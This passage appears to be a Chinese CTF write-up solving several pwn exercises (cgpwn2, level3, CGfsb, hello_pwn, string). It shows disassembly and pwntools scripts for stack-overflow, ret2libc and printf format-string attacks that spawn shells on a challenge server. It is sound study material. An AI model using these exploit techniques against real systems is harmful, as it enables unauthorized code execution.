+00000000 s db 4 dup(?) ;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
3..text:08048601 pop esi ;栈顶指针
1
2
3
4
+00000000  s              db 4 dup(?)			;帧指针esp位置
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
4..text:08048602 pop ebp ;然后是调用者函数ebp的保存值,我们给他溢出成任意字符填空
1
2
3
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables
5..text:08048603 retn ;此处retn 会将我们溢出的返回值放到rip

此时栈顶为main调用call hello之前的栈顶,和hello函数一点关系都没有了

s有38个字节,接下来四个字节是调用者函数ebp帧指针的保存值,接下来四个字节就是返回值,接下来还有四个字节,没用

注意最后这四个没用的字节\([ebp+5,ebp+8]\),也要溢出给他填了,然后再填/bin/sh的地址,

如果溢出修改r之后不填四字节的空,紧接着写/bin/sh的地址,接下来函数尾声会干啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
;main调用hello
.text:0804864C call hello ;call指令会将返回值0x08048651压栈,占用4字节空间
.text:08048651 mov dword ptr [esp], offset aThankYou ; "thank you"
;开端
.text:08048562 push ebp ;ebp压栈,占用4字节
.text:08048563 mov ebp, esp ;ebp获得当前esp快照,指向当前函数的栈底
.text:08048565 push esi ;esi压栈,被调用者保存寄存器
.text:08048566 push ebx ;ebx压栈,被调用者保存寄存器
.text:08048567 sub esp, 30h ;为局部变量开30h字节的栈空间

.....


;尾声
.text:080485FD add esp, 30h ;开端时也是sub esp,30h 这是局部变量的空间,溢出成任意字符填空
.text:08048600 pop ebx ;被调用者保存寄存器,ebx
.text:08048601 pop esi ;栈顶指针
.text:08048602 pop ebp ;然后是调用者函数ebp的保存值,我们给他溢出成任意字符填空
.text:08048603 retn ;此处retn 会将我们溢出的返回值放到rip,然后退掉这个返回值占用的栈空间,

那么hello函数退栈刚好将/bin/sh的地址退掉,相当于写了填空了,白写,此时栈顶是main函数调用hello函数之前的栈顶

综上栈缓冲区溢出就应该前38+4个字节乱写凑数,

然后返回值写0x0804855A

返回值这里应该写啥也要注意

首先pwn函数里面调用system有一个

1
.text:0804855A                 call    _system

然后双击该位置有一个

1
2
3
.plt:08048420                 jmp     ds:off_804A01C
.plt:08048420 _system endp
.plt:08048420

然后再双击off_804A01C又有

1
.got.plt:0804A01C off_804A01C     dd offset system        ; DATA XREF: _system↑r

那么溢出的返回值到底是写0x0804855A,还是写0x08048420,还是写0x0804A01C?

实验证明,只有写0x08048420才可以getshell,为什么其他两个不行呢?

对于0x0804855A返回该地址后,紧接着执行的是call _system,这条指令不光会将程序计数器RIP改成system的地址,还会将返回值压栈,这个压栈就坏了大事,我们费劲千辛万苦把栈顶调成name的地址,现在被返回值又给盖住了,那么调用system函数之后栈顶自然不是/bin/sh的地址,因此不能getshell

0x08048420这里只有一个jmp无条件跳转,不会改变栈顶

对于0x0804A01C,相当于省去了前面jmp 的内容,但是却不能成功,目前原因不知道,可能和GOT和PLT有关,但也只是瞎猜的,以后学了这两个东西再说

然后一个双字写一个字符串"/bin/sh"的地址,但是使用String视图并没有找到这么一个字符串,

因此需要我们自己写一个,写到什么地方呢?

刚才还有一个输入姓名,既然可以输入,说明它不在rodata节,实际上在bss节

1
.bss:0804A080 name            db 34h dup(?)           ; DATA XREF: hello+77↑o

也就是说,在刚才输入姓名的时候,可以直接明目张胆地把/bin/sh写入name

然后在溢出时返回值后面写0x0804A080即bss上name的首地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#sh=process('./cgpwn')

sh=remote('111.200.241.244','60172');

sh.recvuntil('please tell me your name')

sh.sendline('/bin/sh')

sh.recvuntil('hello,you can leave some message here:')

payload='A'*42+p32(0x8048420).decode('unicode_escape')+'AAAA'+p32(0x804A080).decode('unicode_escape')

sh.sendline(payload)

sh.interactive()

结果:

1
2
3
4
5
6
7
8
9
10
$ ls
bin
cgpwn2
dev
flag
lib
lib32
lib64
$ cat flag
cyberpeace{53ac82665087a94d761a1eb18a0c2991}

006level3(ret2libc,printf格式化字符串漏洞)

给了两个文件,一个level3,一个libc_32.so.6,后面这个是libc的动态库文件

收集信息

对level3checksec

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# checksec level3
[*] '/mnt/c/Users/86135/Desktop/pwn/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

运行一下

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# ./level3
Input:
/bin/sh
Hello, World!

打印"Input:",获取输入,打印"Hello,World"

反汇编分析

ida打开level3直接看伪代码

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();//关键函数
write(1, "Hello, World!\n", 0xEu);//不存在溢出漏洞
return 0;
}
1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(0, buf, 0x100u); //0x100=256字节>136存在缓冲区溢出漏洞
}

此处存在缓冲区溢出漏洞,观察vulnernable_function的栈帧,溢出可以修改函数返回地址,甚至继续溢出可以把main的栈帧都毁掉

1
2
3
4
5
-00000088 buf             db 136 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

但是观察Strings视图,并没有/bin/sh这种字符串

image-20220529150450668

functions视图也没有System函数

那么怎么才能获取shell呢?

libc库中有system和/bin/sh字符串

glibc-2.9/system.c#define SHELL_PATH "/bin/sh" /* Path of the shell. */

glibc-2.9/system.c中有static int do_system (const char *line)的实现

为啥libc中要有/bin/sh字符串呢?

因为system()函数就是调用的shell程序,libc当然要知道该程序在哪里,最常用的shell就是/bin/sh

在本题中可以使用各种方法获得/bin/sh字符串和system函数在libc_32.so.6中的位置

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]└─# strings -at x libc_32.so.6|grep /bin/sh   
15902b /bin/sh

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# ROPgadget --binary libc_32.so.6 --string "/bin/sh"
Strings information
============================================================
0x0015902b : /bin/sh

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# readelf -s libc_32.so.6|grep system
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

现在获取到的地址是库函数在libc库中的位置,并不是库函数实际运行时的地址.然而给一个库文件也不是一无是处,

位置无关代码的特性是,库的在进程虚拟地址空间中的位置可以变,但是库中成员之间的相对地址不会变

这就好比现在每个库函数是058班上的一个同学,每个同学都有一个班内编号,从1到40.

在058班中不管怎么问4号同学是谁,总会获得回答sjf.

然后整个班一起考试的时候,考数据结构时被安排到A220考场,考C++的时候被安排到B304考场...

但是整个班总是安排在同一间教室

在考数据结构的时候去A220问4号学生是谁,必是sjf

但是当考C++的时候还去A220问4号学生是谁,必然不是sjf

我现在知道sjf是他们班四号,并且抓住了一个他们班的学生,怎么知道sjf具体在哪一个考场,哪一个座位呢?

跟着这个学生前往他的考场,假设这个学生是5号则前面一个学生就是4号的sjf.

在本题中,我们要找的函数就是system,顺带还要找一个字符串/bin/sh,在库中的地址已经知道了,并且我们已经逮住了一个库中的函数

1
write(1, "Input:\n", 7u);

他在libc库中的位置:

1
2323: 000d43c0   101 FUNC    WEAK   DEFAULT   13 write@@GLIBC_2.0

那么其他libc中的函数或者变量相对于write的位置

符号 write system /bin/sh
libc中的位置 0xd43c0 0x3a940 15902b
相对于write的位置 0 -0x99a80 -0x11e6eb

使用栈缓冲区溢出写好参数然后返回到write被调用前,让write打印出它自己的地址

怎么返回到write前呢?

1.由于程序没有开启PIE保护,因此本程序内(不包括libc动态库)的各个函数地址是常数

注意共享库libc可以加载到本程序的"任何地方"

这里任何地方指的是

image-20220603144111550

用户栈和堆之间

共享库并不能挤再读写段和只读代码段之间

相当于再用户栈和运行时堆之间有一块很大的空间,共享库只能在这片空间中挑一个利索的地方加载

这就好比在一艘航母上只能在甲板上放置舰载机,不能将舰载机放在舰桥上

由于这片巨大的空间在程序运行开始时就已经决定了,并且每次运行都是一样大的,当没有开启PIE保护时,总是从虚拟地址空间的0x400000开始加载,因此本程序内各函数,各数据的地址都是定值.

至于调用libc库中的函数,则使用got+plt表,对于本模块内的函数只需要将控制交给plt表,plt表相当于一个本程序与动态库的接口.

plt和got表就像人的嘴一样,可以随便吃东西但是归根接底长到人的脸上

2.使用PLT表返回到write的地址

1
b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)

plt是text节开始时的一个跳转表,text节的位置不变,plt表的位置也不会变

前面0x8c都写0,是为了溢出bufs

1
2
-00000088 buf             db 136 dup(?)
+00000000 s db 4 dup(?)

然后四个字节就是返回地址p32(elf.plt['write'])

这个elf.plt['write']是啥呢?

1
2
elf=ELF('./level3')
print(hex(elf.plt['write']))

运行结果:

1
2
3
4
5
6
7
8
9
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/level3]
└─# python3 exp.py
[*] '/mnt/c/Users/86135/Desktop/pwn/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x8048340

用ida打开后跳转到该地址0x8048340

1
2
3
4
5
6
7
8
9
10
11
12
.plt:08048340
.plt:08048340 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:08048340 _write proc near ; CODE XREF: vulnerable_function+15↓p
.plt:08048340 ; main+22↓p
.plt:08048340
.plt:08048340 fd = dword ptr 4
.plt:08048340 buf = dword ptr 8
.plt:08048340 n = dword ptr 0Ch
.plt:08048340
.plt:08048340 jmp ds:off_804A018
.plt:08048340 _write endp
.plt:08048340

0x8048340正好就是write在plt表中的起始位置

1
b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)

同理elf.got['write']这个东西是write在got表中的首地址,打印一下结果为0x804a018

1
.got.plt:0804A018 off_804A018     dd offset write         ; DATA XREF: _write↑r

因此这里这条exp语句可以这样写:

1
b'0'*0x8c+p32(0x8048340)+b'0000'+p32(1)+p32(0x804a018)+p32(4)

这是只用ida,不借助python的pwn包可以做到的

为什么要将返回地址溢出改成write在plt中的位置?直接溢出成write的位置行吗?

write也是动态库函数,这里只是调用它,动态库中的函数都是查plt表调用的

如果这直接溢出成write的地址,那我们得事先直到它加载后在进程虚拟地址空间中的地址,

而我们现在就是想要再调用它打印自己的地址

如果事先知道,现在求个寂寞啊

然后0000是为了填充返回地址到main栈帧之间四个无用字节

1
2
+00000004  r              db 4 dup(?)		//返回地址
+00000008 //无用字节

为啥要溢出这四个字节?直接写write的参数不行吗?

这四个字节属于vulernable_func的栈帧,在跳转write之前是会被清理掉的

然后p32(1)+p32(elf.got['write'])+p32(4)三个四字节在栈顶作为write的三个参数

1
2
write(fd,str,size);		//(文件描述符,字符串,大小)
write(标准输出1,got表中存放的write的地址,4个字节,正好32位表示一个地址);

此步执行之后程序将write在got表中的地址打印出来

这就相当于我们已经跟踪这个学生到达了058班的考场,下一步就是根据该学生的学号和sjf的学号差,寻找sjf的位置

考虑此步执行之后程序的行为

1
b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(4)

这里涉及到一个call function和jmp function的区别

使用call指令调用一个函数时,首先将PC即返回地址压栈,然后jmp function

即两者的区别在于控制转移到function之前有没有将PC放在栈顶

我们现在将p32(elf.plt['write'])放在vulnerable的返回地址位置,

返回实际上就相当于一个jmp,

即我们执行了一个jmp write,没有使用call

理论上调用函数都要使用call,在跳转前将PC放在栈顶

现在我们没有将PC放在栈顶直接跳转到write,但是write函数它不知道啊,他认为我们溢出放置的0000就是返回地址,根据_cdecl约定,write将会自己清理自己的堆栈,那么在write返回的时候就会将0000放在rip中,程序接下来从0000开始执行,谁知道这是什么鬼地方,能不能执行也不好说

但是既然我们已经分析出0000将会被执行,那我们把他换成main函数的地址,不也可以执行吗?

1
b'0'*0x8c+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(4)

下面我们就将会用到这种性质

前面我们已经通过栈缓冲区溢出获得了write的地址,下面我们还需要再溢出一次来跳转到system函数,这就用到了刚才我们分析的性质

我们在刚才执行了write之后将控制转移到main的开始地址,则程序又从头执行一遍,这次我们又有一个干净利索的vulnerable_func

本次缓冲区溢出时,首先还是填充0x8c个字符,然后将system函数的地址放到返回地址位置,然后4个无用字节用0000填充,然后写"/bin/sh"的地址

1
b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr-0x11e6eb)

system执行完毕之后返回地址为刚才用0填充的4个无用字节,但是我们已经不需要system返回了,system('/bin/sh')之后我们就已经有shell了

符号 write system /bin/sh
libc中的位置 0xd43c0 0x3a940 0x15902b
相对于write的位置 0 -0x99a80 -0x11e6eb

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

libc=ELF('./libc_32.so.6')

elf=ELF('./level3')

sh=remote('111.200.241.244','53737')

payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(4)

sh.sendline(payload)

sh.sendlineafter("Input:\n",payload)

write_addr=u32(sh.recv()[:4])

print(hex(write_addr))

system_offset=libc.symbols['system']#system函数相对于libc基地址的偏移量

shell_offset=0x15902b#/bin/sh相对于libc基地址的偏移量

write_offset=libc.symbols['write']#write相对于libc基地址的偏移量

libc_start=write_addr-write_offset#libc库的运行时基地址

system_addr=libc_start+system_offset#system运行时地址

shell_addr=libc_start+shell_offset#/bin/sh的运行时地址

payload = b'0'*0x8c+p32(system_addr)+b'0000'+p32(shell_addr)

sh.sendline(payload)

sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
\xc0o\xf7Input:
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{93ceadf23838a0fd793719d215b9876e}

007get_shell(白给)

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/get_shell]
└─# ./get_shell
OK,this time we will get a shell.
# ls
get_shell Ponce.cfg

运行即可得到shell

为啥还是7分的题?

008CGfsb(printf格式化字符串漏洞)

printf格式化字符串漏洞,总之就是特别绕

1
2
3
4
5
6
7
PS C:\Users\86135\Desktop\pwn\CGfsb> checksec cgfsb
[*] 'C:\\Users\\86135\\Desktop\\pwn\\CGfsb\\cgfsb'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found ;金丝雀保护,栈溢出困难
NX: NX enabled
PIE: No PIE (0x8048000)

信息收集:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/CGfsb]
└─$ ./cgfsb
please tell me your name:
123
leave your message please:
456
hello 123
your message is:
456
Thank you!

反汇编分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
;开端
.text:080485CD push ebp
.text:080485CE mov ebp, esp
.text:080485D0 push edi
.text:080485D1 push esi
.text:080485D2 push ebx
.text:080485D3 and esp, 0FFFFFFF0h ; esp寄存器低4位归零
.text:080485D6 sub esp, 90h
.text:080485DC mov eax, large gs:14h
.text:080485E2 mov [esp+9Ch+anonymous_1], eax

; 设置标准输入,标准输出,标准错误的缓冲区大小为0
.text:080485E9 xor eax, eax
.text:080485EB mov eax, ds:stdin@@GLIBC_2_0
.text:080485F0 mov [esp+9Ch+var_98], 0 ; buf
.text:080485F8 mov [esp+9Ch+stream], eax ; stream
.text:080485FB call _setbuf
.text:08048600 mov eax, ds:stdout@@GLIBC_2_0
.text:08048605 mov [esp+9Ch+var_98], 0 ; buf
.text:0804860D mov [esp+9Ch+stream], eax ; stream
.text:08048610 call _setbuf
.text:08048615 mov eax, ds:stderr@@GLIBC_2_0
.text:0804861A mov [esp+9Ch+var_98], 0 ; buf
.text:08048622 mov [esp+9Ch+stream], eax ; stream
.text:08048625 call _setbuf

;各变量,缓冲区初始化
.text:0804862A mov [esp+9Ch+buf], 0
.text:08048632 mov [esp+9Ch+var_7A], 0
.text:0804863A mov [esp+9Ch+anonymous_0], 0
.text:08048641 lea ebx, [esp+9Ch+s]
.text:08048645 mov eax, 0 ; eax将会被拷贝到串中的各个字符
.text:0804864A mov edx, 19h ; 重复次数19h=25次,每次
.text:0804864F mov edi, ebx
.text:08048651 mov ecx, edx
.text:08048653 rep stosd ; s串置零

;打印第一句废话
.text:08048655 mov [esp+9Ch+stream], offset s ; "please tell me your name:"
.text:0804865C call _puts

;获取第一句输入
.text:08048661 mov [esp+9Ch+nbytes], 0Ah ; nbytes
.text:08048669 lea eax, [esp+9Ch+buf]
.text:0804866D mov [esp+9Ch+var_98], eax ; buf
.text:08048671 mov [esp+9Ch+stream], 0 ; fd
.text:08048678 call _read ;从标准输入至多获得A=10字节的输入作为名字

;打印第二句废话
.text:0804867D mov [esp+9Ch+stream], offset aLeaveYourMessa ; "leave your message please:"
.text:08048684 call _puts

;获取第二句输入
.text:08048689 mov eax, ds:stdin@@GLIBC_2_0
.text:0804868E mov [esp+9Ch+nbytes], eax ; stream ;标准输入魔数0->eax->nbytes,实际上参数名字与其用处不相符了
.text:08048692 mov [esp+9Ch+var_98], 64h ; n ; 从标注输入至多获取64h=100字节的输入放到s,恰好和s的大小相同
.text:0804869A lea eax, [esp+9Ch+s]
.text:0804869E mov [esp+9Ch+stream], eax ; s
.text:080486A1 call _fgets ;从标注输入获取至多64h=100字节的输入作为信息message,放在s串

;打印刚才获取到的信息和新的废话
.text:080486A6 lea eax, [esp+9Ch+buf]
.text:080486AA mov [esp+9Ch+var_98], eax
.text:080486AE mov [esp+9Ch+stream], offset format ; "hello %s"
.text:080486B5 call _printf
.text:080486BA mov [esp+9Ch+stream], offset aYourMessageIs ; "your message is:"
.text:080486C1 call _puts

;关键
.text:080486C6 lea eax, [esp+9Ch+s]
.text:080486CA mov [esp+9Ch+stream], eax ; format
.text:080486CD call _printf ;蜜汁操作,printf只有一个参数

;关键
.text:080486D2 mov eax, ds:pwnme
.text:080486D7 cmp eax, 8 ; 当ds:pwnme被修改为8时获得flag
.text:080486DA jnz short loc_80486F6
.text:080486DC mov [esp+9Ch+stream], offset aYouPwnedMeHere ; "you pwned me, here is your flag:\n"
.text:080486E3 call _puts
.text:080486E8 mov [esp+9Ch+stream], offset command ; "cat flag"
.text:080486EF call _system
.text:080486F4 jmp short loc_8048702

双击ds:pwnme观察其上下文

1
2
3
4
5
6
7
8
9
10
11
...
.bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
.bss:0804A065 align 4

.bss:0804A068 public pwnme
.bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r
.bss:0804A068 _bss ends ;这里可以获取到的有效信息是pwnme的地址0x0804A068
.bss:0804A068
.prgend:0804A06C ; ===========================================================================
....

格式化字符串漏洞套路printf

以下逐步尝试使用格式化字符串漏洞修改栈上的变量值,看看printf是如何沦陷的

首先栈上有一个int a,有一个char s[120],要想通过格式化字符串漏洞修改一个变量的值,需要知道他在栈上什么位置

谁更靠近栈顶光是通过看源代码是看不出来的,有可能有各种编译优化,通过下面程序观察

mytest.c

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main() {
int a=20;
char s[120]="%p-%p-%p-%p";
printf("%p\n%p\n",&a,&s);//观察a和s在栈中的位置
printf(s);
return 0;
}

这里后面的printf(s)没有管s中如何格式化的,没有管s中指定了多少个参数,

如果s中指定了n个%p格式的参数,则printf会从栈顶开始向栈底方向依次取出n个32位数(恰好是一个双字),每一个对应一个%p

1
2
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb]
└─# gcc mytest.c -Og -m32 -o mytest #-m32编译成32位程序,栈上32位对齐

运行结果

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb]
└─# ./mytest
0xffaf269c
0xffaf2624
0xffaf269c-0xffaf2624-0xf63d4e2e-0x5655b2b2

说明int a在栈顶,然后紧接着是char s[120]的首地址

那么printf(s)会错误地把a作为第一个参数,栈上存储的是a的地址,使用%1$n即可将格式化字符串s之前的字符数输入栈上第一个参数(期望是一个地址)

啥意思呢?%x$n即将其之前的字符数输出到格式化字符串指定的第x个地址(即使栈上存放的不是地址也要作为地址,但此时很有可能引发段错误)

这句话非常绕口,还是以先前的程序为例子

在这个例子中,通过先前的打印已经知道printf(s)时栈顶是a的地址,如果s串中没有%p,%x等等这样的占位符,即如果s为纯字符串则printf只会打印该字符串,然后什么都不会发生

如果s中有一个%p即指定了一个格式化参数,但是在调用printf(s)时并没有写成printf(s,a)这样指定这个参数,那么printf会自动将当前栈顶作为参数进行打印,于是就发生了信息泄漏

使用%p这种格式的作用是,正好取栈上一个对齐单元32位4字节,

如果用%s则将参数作为字符串,一直打印直到'\0'

同理如果s中有两个%p即指定了两个格式化参数,则先后从栈顶向栈底方向取两个双字,以16进制形式打印

%x$n的作用是,将%号之前格式化字符串中的字符数,输出到第n个格式化参数指向的内存地址,即将从栈顶向栈底数的第n个双字,作为一个32位地址,然后输出到该地址,

实际上这个双字也可能不是一个地址,这时大概率引发段错误

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>

int main() {
int a=20;
char s[120]="%p-%p-%p-%p";
printf("%p\n%p\n",&a,&s);
printf("%1$n"); //%1$n之前没有字符,因此0会被输出到栈上第一个
printf(s);
printf("\n%d",a);
return 0;
}

同样的编译命令,运行结果为:

1
2
3
4
5
6
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/CGfsb]
└─# ./mytest
0xffee562c
0xffee55b4
0xffee562c-0xffee55b4-0xf63d4e2e-0x565632b2
0

a的地址,0xffee562c被printf默认当作第一个格式化参数,然后将%1$n之前的0个字符输出到该地址,因此a原来的值20就被改变了

回到本题

从刚才的实验中我们可以知道

如果想要通过printf格式化字符串漏洞改变一个变量的值,需要先了解

1.变量的地址

2.如果将变量的地址写成一个32位数然后压栈,在打印的时候是第几个双字,这用于确定%x$n中的x

3.%x$n之前的字符数决定了把第x个格式化参数指向的变量修改成多少

本题中

可以通过ida得出pwnme的地址0x0804A068

下面尝试观察格式化字符串的第一个双字是printf的第几个格式化双字参数

这句话说地又跟放屁似的,啥意思呢?

比如构造一个格式化字符串s="AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"

作用是判断第一个双字(这里用0x41414141AAAA占位),是栈上第几个双字,以此决定%x$n中的x

这里s也会被四个字符一组作为一个双字压栈,那么前四个字符AAAA必然作为一个双字压栈,

1
2
3
your message is:
AAAA-0xffebcaee-0xf7f6c580-0xffebcb4c-0xf7fb4b30-0x1-0xf7f7a420-0x32310001-0xa33-(nil)-0x41414141-0x2d70252d-0x252d7025
Thank you!

整体要按照s给出的格式打印,s自己也会作为一个普通的字符串存储在栈上

这里第10个格式化参数对应的0x41414141即为s中前四个字符存储在栈上的一个双字,显然这不是一个地址

第一个格式化参数对应的是0xffebcaee这是一个地址,

再往前的四个A不是格式化参数,是s中的常量

后面第11个格式化参数对应0x2d70252d对应ascii码-p%-

可想而知,s无论我们继续写多长,第10个参数总是0x41414141,因为s作为普通的字符串放在栈上距离栈顶较远的地方

现在将s的头四个A换成p32(0x0804A068),即将pwnme的地址写成一个双字作为s的头四个字符(非可打印字符)

那么可想而知此时第10个格式化参数就得对应0x0804A068

就差最后一步了,向该地址上写个8

我们已经在最开始写了一个p32(0x0804A068)相当于4个字符,还需要写入4个字符,随便整四个就可以比如'1234',然后就是%10$n

如此可以写出exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

# sh=process('./cgfsb')

sh=remote('111.200.241.244','61044')

pwnme=0x0804A068;

payload=p32(pwnme)+('1234%10$n').encode()

sh.recvuntil("please tell me your name:\n")

sh.sendline('123')

sh.recvuntil("leave your message please:\n")

sh.sendline(payload)

sh.interactive()

# sh.interactive()
1
2
3
4
5
6
hello 123
your message is:
h\xa0\x041234
you pwned me, here is your flag:

cyberpeace{99ded663a753efee263e10ce468b73c3}

009hello_pwn(栈缓冲区溢出修改栈中整数)

ida64打开之后F5观察伪代码

1
2
3
read(0, &unk_601068, 0x10uLL);		
if ( dword_60106C == 1853186401 ) //诚如是,则执行sub_400686(),dword_60106C就是需要通过溢出修改的变量
sub_400686();
1
2
3
4
5
__int64 sub_400686()
{
system("cat flag.txt");//调用shell,打印flag.txt的内容到屏幕
return 0LL;
}

read系统调用函数

1
int read(int fd,char *buf,unsigned nbytes);

参数含义:

1.int fd:file descriptor 文件描述符

fd=0为STDIN_FLIENO标准输入的魔数

fd=1为STDOUT_FILENO标准输出的魔数

fd=2为STDERR_FILENO标准错误的魔数

2.char *buf:缓冲区

3.unsigned nbytes:指定输入的字节数,实际上获取到的输入只能小于等于该值

如果从一个小文件里获取大于文件字符数的输入则达不到nbytes

返回值:

实际获取到的输入字符数

read(0, &unk_601068, 0x10uLL);

从标准输入获取至多16字节的输入到缓冲区unk_601068

双击unk_601068观察缓冲区在内存的分布

1
2
3
4
5
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r

发现缓冲区unk_601068dword_60106C这个需要被溢出修改的变量是在bss段紧挨着存放的,两者都是未初始化的全局变量

那么输入前四个字符就已经写满了缓冲区,dword_60106C是一个双字四字节,可以容纳四个ascii字符,考虑后面四个字符输入什么才能使其值被修改为1853186401

写成16进制0x6e756161两两一组一个字节,分组的话恰好分成四组,对应四个ascii码

0x6e=n

0x75=u

0x61=a

0x61=a

输入的字符串在前面的放在低位,即如果str="nuaa"str[0]='n',str[1]='u',str[2]='a'而根据小端方法,下标小的字符会放在低地址,即

'n'->0x60106C

'u'->0x60106D

'a'->0x60106E

'a'->0x60106F

然后从0x60106C开始连续取四个字节作为一个int,得到的是0x(高位)61 61 75 6e(低位)刚好和我们想要的结果0x6e756161是反着的,因此应该输入aaun而不是nuaa

010string(printf格式化字符串漏洞,ret2shellcode)

1
2
3
4
5
6
7
8
┌──(root㉿Executor)-[/mnt/c/Users/86135/desktop/pwn/string]
└─# checksec string
[*] '/mnt/c/Users/86135/desktop/pwn/string/string'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位linux程序,用ida64打开之后直接看F5伪代码

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_DWORD *v4; // [rsp+18h] [rbp-78h]//双字指针类型,int*

setbuf(stdout, 0LL);
alarm(0x3Cu);
sub_400996();
v4 = malloc(8uLL);
*v4 = 68;
v4[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4); //&v4的16进制表示
printf("secret[1] is %x\n", v4 + 1); //&v4+1的16进制表示,由于开启栈地址随机化,因此该值每次运行不定
puts("do not tell anyone ");
sub_400D72((__int64)v4); //游戏剧情
puts("The End.....Really?");
return 0LL;
}

sub_400D72

v4作为参数从main传递到sub_400D72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("What should your character's name be:");
_isoc99_scanf("%s", s);
if ( strlen(s) <= 0xC ) //要求输入的角色名称要小于等于12个字符
{
puts("Creating a new player.");
sub_400A7D(); //故事的开端发展高潮
sub_400BB9();
sub_400CA6((_DWORD *)a1);
}
else
{
puts("Hei! What's up!");
}
return __readfsqword(0x28u) ^ v3;
}

sub_400A7D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 sub_400A7D()
{
char s1[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts(" This is a famous but quite unusual inn. The air is fresh and the");
...
puts("So, where you will go?east or up?:");
while ( 1 )
{
_isoc99_scanf("%s", s1);
if ( !strcmp(s1, "east") || !strcmp(s1, "east") )//蜜汁操作,两个判断都是strcmp(s1,"east"),当s1为east时跳出循环
break;
//当s1!=east一直循环请求输入
puts("hei! I'm secious!");
puts("So, where you will go?:");
}
if ( strcmp(s1, "east") ) //蜜汁操作,出了刚才的循环则s1=east,这里的if条件判断一定不会成立,为什么还要设计这么一条路呢?
{
if ( !strcmp(s1, "up") )
sub_4009DD(); //屑函数,死路
puts("YOU KNOW WHAT YOU DO?");
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}

sub_400BB9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
